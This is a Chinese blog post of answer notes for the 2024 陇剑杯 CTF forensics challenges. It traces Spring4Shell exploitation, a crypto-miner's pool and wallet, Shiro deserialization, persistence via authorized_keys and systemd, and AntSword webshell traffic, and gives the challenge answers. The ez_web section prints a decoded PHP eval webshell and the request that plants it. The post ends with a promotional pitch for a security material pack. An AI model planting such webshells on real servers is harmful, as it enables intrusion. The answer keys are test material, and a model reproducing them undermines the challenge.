2024陇剑杯答题笔记（更新中）(1)

于 2024-06-24 15:08:18 发布
阅读量960 收藏 10
点赞数 27
文章标签： 笔记
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_84254343/article/details/139926978
版权

数据分析-SS

sevrer save_1

题目：

黑客是使用什么漏洞来拿下root权限的。格式为：CVE-2020-114514

观察流量，可以看到前面的请求均为/helloworld/xx，服务器返回404，推测是暴破流量，这里可以跳过向后看。
在这里插入图片描述在最后的部分出现了shell.jsp，于是我们向上查看最后一次/helloworld/greeting的流量。
在这里插入图片描述可以看到请求体为一个网页
在这里插入图片描述搜索标题Reznok’s Hello World Spring Application，得到网页https://github.com/reznok/Spring4Shell-POC，其中记录漏洞编号为CVE-2022-22965

sevrer save_2

题目：

黑客反弹shell的ip和端口是什么，格式为：10.0.0.1:4444

继续观察后面几个数据包，可以观察到有下载的请求
在这里插入图片描述我们检查这个包和下一个服务器返回的包，可以找到如下命令
在这里插入图片描述这里即可找到反弹的地址和端口：192.168.43.128:2333

sevrer save_3

题目：

黑客的病毒名称是什么？ 格式为：filename

首先检查各用户目录。在/home/guests/中发现可疑文件main
在这里插入图片描述观察文件可以发现是ELF可执行文件，推测为病毒。
在这里插入图片描述

sevrer save_4

题目：

黑客的病毒运行后创建了什么用户？请将回答用户名与密码：username:password

Linux用户名保存在/etc/passwd中，打开可以看到最近添加的是ll
在这里插入图片描述密码存在/etc/shadow中，可以看到密码为123456
在这里插入图片描述所以答案为：ll:123456

sevrer save_5

题目：

服务器在被入侵时外网ip是多少? 格式为：10.10.0.1

检查/home/guests/中的.log文件，可以看到向172.105.202.239发送了请求。
在这里插入图片描述

sevrer save_6

题目：

病毒运行后释放了什么文件？格式：文件1,文件2

继续观察.log文件可以看到执行了.idea/mine_doge.sh文件
在这里插入图片描述在.idea中检查到如下两个文件，推测为挖矿软件。
在这里插入图片描述

sevrer save_7

题目：

矿池地址是什么？ 格式：domain:1234

打开mine_doge.sh可以看到内容如下
在这里插入图片描述可以在POOL中找到矿池地址为 doge.millpools.cc:5567

sevrer save_8

题目：

黑客的钱包地址是多少？格式：xx:xxxxxxxx

如上题，可在mine_doge.sh中找到钱包地址为 DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker

数据分析-WS

Wireshark1_1

题目：

被入侵主机的IP是？

经过排序后可以看到只有两个ip在通信，所以可以推测ip为192.168.246.28
在这里插入图片描述

Wireshark1_2

题目：

被入侵主机的口令是？

观察到这是一个telnet通信，于是追踪数据包
在这里插入图片描述可以看到口令为 youcannevergetthis
在这里插入图片描述

Wireshark1_3

题目：

用户目录下第二个文件夹的名称是？

继续观察上一题的流量包，可以看到有文件夹列表，第二个为Downloads
在这里插入图片描述

Wireshark1_4

题目：

/etc/passwd中倒数第二个用户的用户名是？

从这里可以知道后面的内容是/etc/passwd文件内容，所以倒数第二个是mysql
在这里插入图片描述

数据分析-IR

IncidentResponse_1

题目：

你是公司的一名安全运营工程师，今日接到外部监管部门通报，你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合，你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。（虚拟机账号密码为：root/IncidentResponsePasswd） 挖矿程序所在路径是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

先通过ls -la --sort=t查看近期文件改动
在这里插入图片描述于是我们依次检查这些文件。在.viminfo中发现大量redis操作
在这里插入图片描述进入redis目录，可以看到redis-server有7万次操作可以确定为挖矿软件
在这里插入图片描述于是答案为6f72038a870f05cbf923633066e48881
在这里插入图片描述

IncidentResponse_2

题目：

挖矿程序连接的矿池域名是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

确认挖矿软件后，打开redis配置文件，在里面搜索WALLET，可以找到如下配置
在这里插入图片描述于是矿池为donate.v2.xmrig.com，答案为3fca20bb92d0ed67714e68704a0a4503

IncidentResponse_3

攻击者入侵服务器的利用的方法是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

之前查看.bash_history时注意到有一个renren-admin.jar运行了nohup服务（即后台运行）
在这里插入图片描述注意到/home/app/下有此jar包且运行次数非常高，于是我们检查nohub.log
在这里插入图片描述多处发现shiro关键字，推测为shiro反序列化漏洞。
在这里插入图片描述在这里插入图片描述所以答案为shirodeserialization，转化为标准格式后得到3ee726cb32f87a15d22fe55fa04c4dcd

IncidentResponse_4

题目：

攻击者的IP是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

检查登录信息，可以发现有一条外网连接，ip为81.70.166.3，所以答案为c76b4b1a5e8c9e7751af4684c6a8b2c9
在这里插入图片描述

IncidentResponse_5

题目：

攻击者发起攻击时使用的User-Agent是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

检查Nginx日志（/var/log/nginx/access.log）中查看访问信息，可以在最后找到ua信息为Mozilla/5.0 (compatible; Baiduspider/2.0; +http://baidu.com/search/spider.html)
在这里插入图片描述

IncidentResponse_6

题目：

攻击者使用了两种权限维持手段，相应的配置文件路径是？(md5加密后以a开头)（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

检查.ssh目录，查看authorized_keys文件
在这里插入图片描述
在这里发现开启了ssh私钥登录，且用户为root@kali。所以答案为/root/.ssh/authorized_keys，转化格式后得到a1fa1b5aeb1f97340032971c342c4258
在这里插入图片描述

IncidentResponse_7

题目：

攻击者使用了两种权限维持手段，相应的配置文件路径是？(md5加密后以b开头)（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

可能是开机自启，所以检查/root/lib/systemd/system/和/etc/systemd/system/，在/root/lib/systemd/system/中找到了redis.service文件。在这里插入图片描述查看文件可以发现redis会自启连接矿池。
在这里插入图片描述所以答案为/lib/systemd/system/redis.service，转换格式为b2c5af8ce08753894540331e5a947d35

数据分析-SSW

SmallSword_1

题目：

连接蚁剑的正确密码是______________?（答案示例：123asd）

首先过滤http包，注意到如下流量，形如蚁剑一句话木马，选择追踪流量。
在这里插入图片描述可以在$_POST中找到连接密码6ea280898e404bfabd0ebb702327b18f，其中%22代表双引号。
在这里插入图片描述

SmallSword_2

题目：

攻击者留存的值是______________?(答案示例：d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)

检查蚁剑流量，并用Base64解码
在这里插入图片描述在这个流量包中发现上传如下值
在这里插入图片描述解码后得到ad6269b7-3ce2-4ae8-b97f-f259515e7a91 ，即为答案。

SmallSword_3

题目：

攻击者下载到的flag是______________?(答案示例：flag3{uuid})

待更

数据分析-EW

ez_web_1

题目：

服务器自带的后门文件名是什么？（含文件后缀）

后门文件需要上传，所以我们过滤POST请求，得到以下流量
在这里插入图片描述可以发现d00r.php为后门文件。但我们检查第一个流量a=file_put_contents%28%27d00r.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%3D%3D%27%29%29%3B,可转译为a=file_put_contents(‘d00r.php’,+base64_decode(‘<?php eval($_POST['cmd']);?>’);
可以发现是ViewMore.php上传的d00r.php文件。所以真正的后门文件为ViewMore.php
在这里插入图片描述

ez_web_2

题目：

服务器的内网IP是多少？

依次检查d00r.php流量包，在其中一个找到了system%28%27ifconfig%27%29%3B即system('ifconfig');
在这里插入图片描述所以下面的响应数据为ip地址，内网ip为192.168.101.132

ez_web_3

题目：

攻击者往服务器中写入的key是什么？

继续先后检查流量包，发现如下命令
在这里插入图片描述推测为上传key_file文件，使用base64解码后面的数据得到一串编码。值得注意的是%27为'%28为(%29为)所以有效编码为它们中间的部分，并且需要替换编码中的字符%2F为/%3D为=。

本人从事网路安全工作12年，曾在2个大厂工作过，安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过，对这个行业了解比较全面。

最近遍览了各种网络安全类的文章，内容参差不齐，其中不伐有大佬倾力教学，也有各种不良机构浑水摸鱼，在收到几条私信，发现大家对一套完整的系统的网络安全从学习路线到学习资料，甚至是工具有着不小的需求。

最后，我将这部分内容融会贯通成了一套282G的网络安全资料包，所有类目条理清晰，知识点层层递进，需要的小伙伴可以点击下方小卡片领取哦！下面就开始进入正题，如何从一个萌新一步一步进入网络安全行业。

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图，这里我给大家分享一份打磨了3个月，已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字，还是生动的视频教程更加适合零基础的同学们学习，这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然，当你入门之后，仅仅是视频教程已经不能满足你的需求了，你肯定需要学习各种工具的使用以及大量的实战项目，这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战，这里带来的是SRC资料&HW资料，毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底，我们的最终目的都是为了就业，所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过！

2401_84254343
关注
脱颖而出！云起无垠荣获第二届“陇剑杯”优胜奖
m0_73736695的博客
09-22 92
其中，在人工智能攻防赛道，参赛战队需利用全机器自动化执行方式，应用机器学习、深度学习、自然语言处理等人工智能技术，结合模糊测试（Fuzzing）技术对含有漏洞的二进制文件进行自动化漏洞分析、挖掘和利用。云起无垠能在众多参赛队伍中脱颖而出，获得“优胜奖”，得益于其在智能模糊测试和攻防对抗中深厚的技术和经验积累，从而获此殊荣。此次赛事汇聚了来自政法、通信、金融、政务、能源、交通、国防等国家重要行业单位，以及院校、科研机构、网络安全企业、互联网企业、社会力量等各行业领域1680支战队报名参赛，经过激烈角逐，
陇剑杯部分wp（参赛总结与反思）
cuddlylm的博客
10-17 609
1.签到 网管小王在上网途中发现自己的网络访问异常缓慢，于是对网络出口捕获了流量，请您分析流量后进行回答：（本题仅1小问） 此时正在进行的可能是___http___协议的网络攻击。（如有字母请全部使用小写，填写样例：http、dns、ftp） 看请求包，协议为http，版本为1.1 2.jwt 昨天，单位流量系统捕获了黑客攻击流量，请您分析流量后进行回答： 这题要先了解什么是jwt JSON Web Token (JWT)是一个开放标准(RFC 7519)，它定义了一种紧凑的、自包含的方式，用于作为JS
陇剑杯2021（一）
wha1e的博客
06-27 1815
陇剑杯2021（一）
陇剑杯----自己分析的
FogIslandBay的博客
09-17 1282
交流群：694364064 流量分析 分析数据包hack.pcap,黑客登录系统使用的密码是________。 分析数据包hack.pacap,黑客修改了一个文件日志，文件的绝对路径为________。 分析数据包hack.pcap，黑客获取webshell之后，权限是_________？ 分析数据包hack.pcap，黑客写入的webshell文件名是_________。(请提交带有文件后缀的文件名，例如x.txt) 分析数据包hack.pcap，黑客上传的代理工具客户端名字是________
2021陇剑杯
qq_48511129的博客
12-13 499
过滤http，发现大量http数据包 只发现少量dns流量包和没有发现ftp流量包 所以判断出是http协议攻击 2.1 直接过滤HTTP包，右键选择“追踪流”进入tcp流 将token进行jwt解码，出现jwt字段，所以判断出是jwt认证 2.2 过滤http，追踪tcp流，将token内容直接拿去base64解码 得到 {“alg”:“HS256”,“typ”:“JWT”}.{“id”:10086,“MapClaims”:{“aud”:“admin”,“username”:"admin"fX0.t
陇剑杯总结
m0_55185160的博客
09-20 1235
对于陇剑杯这次比赛，我觉得比赛形式比较有创新，考核的内容更容易上手，多以日志的形式考核，包括SQL注入，我可以做的题目就是日志分析题和SQL注入题，这次比赛的流量分析太难了，没有了tcp/ip协议而是udp协议 无法入手，还有关于取证领域的还没学习涉及到，所以没有做。还有一个只是点不会的，就是在日志中得知SQL注入的payload，把数据库里的flag导出来。 ...
misc刷题记录（1）陇剑杯
2301_81841047的博客
06-14 1119
题目内容：此时正在进行的可能是__________协议的网络攻击。（如有字母请全部使用小写，填写样例：http、dns、ftp）。得到的flag请使用NSSCTF{}格式提交。打开统计，找到协议分级，发现TCP协议是占比最多的协议在TCP协议里HTTP协议占了大部分。筛选http流量，发现很多403的失败请求，故答案为http。
2024陇剑杯答题笔记（更新中），2024年最新真香系列
2401_83974064的博客
04-13 820
在.idea中检查到如下两个文件，推测为挖矿软件。 题目： 打开mine_doge.sh可以看到内容如下 可以在POOL中找到矿池地址为 doge.millpools.cc:5567题目： 如上题，可在mine_doge.sh中找到钱包地址为 DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker题目： 经过排序后可以看到只有两个ip在通信，所以可以推测ip为192.168.246.28 题目： 观察到这是一个telnet通信，于是追踪数据包 可以看到口令为 yo
2023陇剑杯答题笔记（更新中），2024年网络安全开发实战
04-07 791
题目：该webshell的连接密码是多少？连接密码在md5后，他的前16个作为数据包加密密钥。所以此处需要寻找md5后为748007e861908c03的值，使用cmd5解密得14mk3y。
2024上中小幼教资笔试真题答案（更新中）
最新发布
07-25
这些真题及答案于 3.9 开始更新，持续完善中，为考生提供全面且及时的备考资料。 适合人群：正在备考 2024 年上半年小学、幼儿园和中学教资笔试的考生。 能学到什么： ① 了解教资笔试的题型分布和难度水平。 ② ...
HarmonyOS从基础到实战-高性能华为在线答题元服务
热门推荐
一键难忘的博客
11-21 13万+
HarmonyOS从基础到实战-高性能华为在线答题元服务 在本文中，我们介绍了一个关于在线答题应用的项目，其中包括项目结构和开发计划。项目主要分为主应用的Ability（entryability）、卡片的Ability（Entnyformability）、从云数据库导出的数据类型（Models）以及页面代码文件夹（Pages）等模块。使用了两个重要的配置文件，分别是agconnect-services.json和schema.json，用于连接serverless服务和云端配置信息。
陇剑杯-Misc-wifi
qq_47168481的博客
09-23 519
题目： 首先下载可以得到三个文件， 一个镜像，两个流量包（客户端和服务器端） 先看下客户端的流量： 流量被加密了，后面肯定需要通过某种方式解密 可以从中提取一些信息： SSID（路由器发送的无线信号的名字）=My_Wifi和HuaweiDe_4c:55:ec aircrack-ng主要用于wifi流量包密码的恢复，需要提供一份字典 airdecap-ng 用于解开正在加密的流量包 ，需要知道ssid和pass，这里猜测应该是用这个。 继续看服务端的包： 知道是上传了木马，那么肯定是通过post方式，查
从陇剑杯学习流量分析
weixin_44687621的博客
09-18 710
JWT 使用wireshark打开附件，追踪HTTP流。 分析这个JWT字段，到jwt.io下面去解出来 追踪TCP流，到第10个TCP时，我们可以发现这里实现了命令执行，输出了当前服务器的权限。 获得命令执行接口后，上传了一个c文件到tmp目录下。 上传该c文件后，使用makefile操作将这个c文件编译成恶意的so文件。 CFLAGS += -Werror -Wall looter.so: looter.c gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o
首届“陇剑杯”网络安全大赛_wifi
weixin_72667582的博客
08-06 714
原题如下：网管小王最近喜欢上了ctf网络安全竞赛，他使用“哥斯拉”木引进玩玩upload-labs ，并且保存了内存镜像、 wifi和服务器流量，让您来分析后作答：（本题仅1小问） 小王往upload-labs上传木马后进行了cat /flag，flag内容为__。
2023陇剑杯答题笔记（更新中）
Mad Soycat的博客
03-14 1385
打开流量包，按照时间顺序可以推测192.168.162.180为服务器ip，192.168.162.188为客户机ip。于是首先过滤出服务器响应的部分可以使用过滤器输入命令，表示过滤出目标ip为188的SYN-ACK包。这是由于TCP三次握手中，服务端会返回SYN-ACK包完成过滤后检查数据包，可以看到Src Port就是服务器开放端口全部检查后发现总共三个：80, 888和8888，就是最后的答案。
[2021首届“陇剑杯”网络安全大赛 决赛]内存取证writeup
ShenZ的博客
11-24 5133
内存取证 附件：mem_sec.vmem 1.一日运维人员针对被入侵主机进行了一次内存分析，请根据内存镜像进行分析并回答下述问题。请根据u盘里的mem_sec.zip文件进行分析。取证人员首先对主机信息进行核实，该内存主机的产品密钥是__K3KHX-TCQKF-WGFXC-7T3BJ-9TPJC__。（答案格式字符全部大写） 2.经过入侵分析发现该主机的使用人员曾经访问过匿名邮箱的网址是__________。(答案包含http://或者https://，答案最后没有/) 1https://mail.td?
2021陇剑杯网络安全大赛-iOS
qq_43264813的博客
09-14 1万+
2021陇剑杯网络安全大赛-iOS 题目描述： 一位ios的安全研究员在家中使用手机联网被黑，不仅被窃密还丢失比特币若干，请你通过流量和日志分析后作答： 解题思路： 10.1黑客所控制的C&C服务器IP是__3.128.156.159__。 查看具体的tcp流，可以发现这⾥有转发操作 10.2黑客利用的Github开源项目的名字是_stowaway_。（如有字母请全部使用小写） 上⼀小题的流，wget⼀个github包 10.3通讯加密密钥的明文是__hack4sec__。 同上数据流，转
2021年“陇剑杯“部分WP
mwmbfh的博客
09-15 1939
2021年"陇剑杯"部分WP一、 战队信息二、 解题情况三、 解题过程题目3.1题目3.1操作内容题目3.1flag值题目7.1题目7.1操作内容题目7.1flag值题目8.1题目8.1操作内容题目8.1flag值题目8.2题目8.2操作内容题目8.2flag值题目8.3题目8.3操作内容题目8.2flag值 一、 战队信息 战队名称：fuller 二、 解题情况 三、 解题过程 题目3.1 题目3.1操作内容 使用wireshark打开题目文件，使用筛选条件，选择发送的数据。 Ø
正保杯Flash动画设计竞赛：预赛重点知识与答题技巧
"正保杯_Flash动画设计预赛题，包括单选和多选题，涉及Flash基础知识，如文件扩展名、帧数计算、遮罩功能、矢量图形与位图图像的区别、工具属性、图形粘贴、形状编辑、图层管理及钢笔工具的使用等。" 在Flash动画...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值